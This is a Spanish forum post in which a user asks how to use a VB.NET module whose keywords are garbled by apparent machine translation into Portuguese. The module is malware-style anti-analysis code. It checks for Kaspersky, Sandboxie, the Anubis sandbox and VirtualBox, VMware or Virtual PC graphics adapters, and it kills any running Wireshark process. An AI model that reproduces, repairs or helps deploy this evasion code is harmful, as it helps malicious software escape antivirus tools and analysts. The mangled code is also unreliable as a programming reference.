• Fuentes

 #487597  por chiquilla
 16 Jul 2016, 22:54
Hola, encontre ese codigo navegando porai, alguien sabes como utilizar?
Código: Seleccionar todo
Importações Microsoft . Win32 Módulo Antis     Dim Devices  


Como  objeto ,  Grafikadapter  Como  Corda ,  regiona  Como  corda  =  "SELECT * FROM Win32_VideoController" 
    Dim regPID  Como  RegistryKey  =  Registry . LocalMachine . OpenSubKey ( "SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion" ,  False ) 
    Dim pid  Como  objeto  =  regPID . GetValue ( "ProductId" ) 
    id Dim  Como  corda  =  "76487-337-8429955-22614" 

    Função Pública  antiKAV () As  Boolean 
        On Error  GoTo  error1 
        Se  Processo . GetProcessesByName ( "AVP" ). Comprimento  > =  1 Em seguida, 
            retorno  Verdadeiro 
        Else 
            retorno  False 
        End  Se 
        Exit Function 
error1 : 
        End 
    End  Function 
privado  Sub AntiWireShark () 

        Dim pROCESSLIST  Como  sistema . Diagnostics . Processo () 

        pROCESSLIST  =  Sistema . Diagnostics . Processo . GetProcesses () 

        Dim Proc  Como  Sistema . Diagnostics . Processo         título Dim  

Como  Cordas 

        Para  Cada Proc Em pROCESSLIST 
            título  =  Proc . MainWindowTitle 
            Se ( corda . Equals ( título ,  "O Wireshark Network Analyzer" ))  Em seguida,                 Proc 

. Matar () 

            End  Se 
        Seguinte 
    End Sub 
    Função Pública  antiSandboxie () As  Boolean 
        On Error  GoTo  error1 
        Se  Processo . GetProcessesByName ( "SbieSvc" .) Comprimento  > =  1 Em seguida, 
            retorno  Verdadeiro 
        Else 
            retorno  False 
        End  Se 
        Exit Function 
error1 : 
        End 
    End  Function     Função Pública  

antiAnubis () As  Boolean 
        On Error  GoTo  error1 
        pasta Dim  Como  Cordas  =  Aplicação . StartupPath 
        dim getFile  Como  Cordas  =  pasta  &  "\ sample.exe" 
        Se  Aplicação . ExecutablePath  =  getFile Então 
            retorno  Verdadeiro 
        Else 
            retorno  False 
        End  Se 
        Exit Function 
error1 : 
        End 
    End  Function     Função Pública  

antiAnubis2 () As  Boolean 
        On Error  GoTo  error1 
        Se  pid  =  id seguida 
            voltar  verdadeira 
        Else 
            retornar  False 
        End  Se 
        Exit Function 
error1 : 
        End 
    End  Function     Função Pública  

AntiVirtualBox () As  Boolean 
        On Error  GoTo  error1 
        getDevices de chamada () 

        Selecione  Caso  Grafikadapter 
            Caso  "Graphics Adapter VirtualBox" 
                retornar  verdadeiro 
            Case Else 
                retornar  False 
        End Select 
        Exit Function 
error1 : 
        End 
    End  Function     Função Pública  

AntiVmWare () As  Boolean 
        On Error  GoTo  error1 
        getDevices de chamada () 

        Selecione  Caso  Grafikadapter 
            Caso  "VMware SVGA II" 
                Voltar  verdadeiro 
            Case Else 
                retorno  False 
        End Select 
        Exit Function 
error1 : 
        End 
    End  Function     Função Pública  

AntiVirtualPC () As  Boolean 
        On erro  GoTo  error1 
        getDevices de chamada () 

        Select  Caso  Grafikadapter 
            caso  "VM adições S3 Trio32 / 64" 
                Voltar  verdadeiro 
            Case Else 
                retorno  False 
        End Select 
        Exit Function 
error1 : 
        End 
    End  Função     privados  

getDevices Sub () 
        on error  GoTo  error1 
        Devices  =  GetObject ( "winmgmts: " .) ExecQuery ( regiona ) 
        Para  Cada AdaptList em dispositivos de 
            Grafikadapter  =  AdaptList . Descrição 
        Próximo 
        Exit  Sub 
error1 : 
        End 
    End Sub 
End Module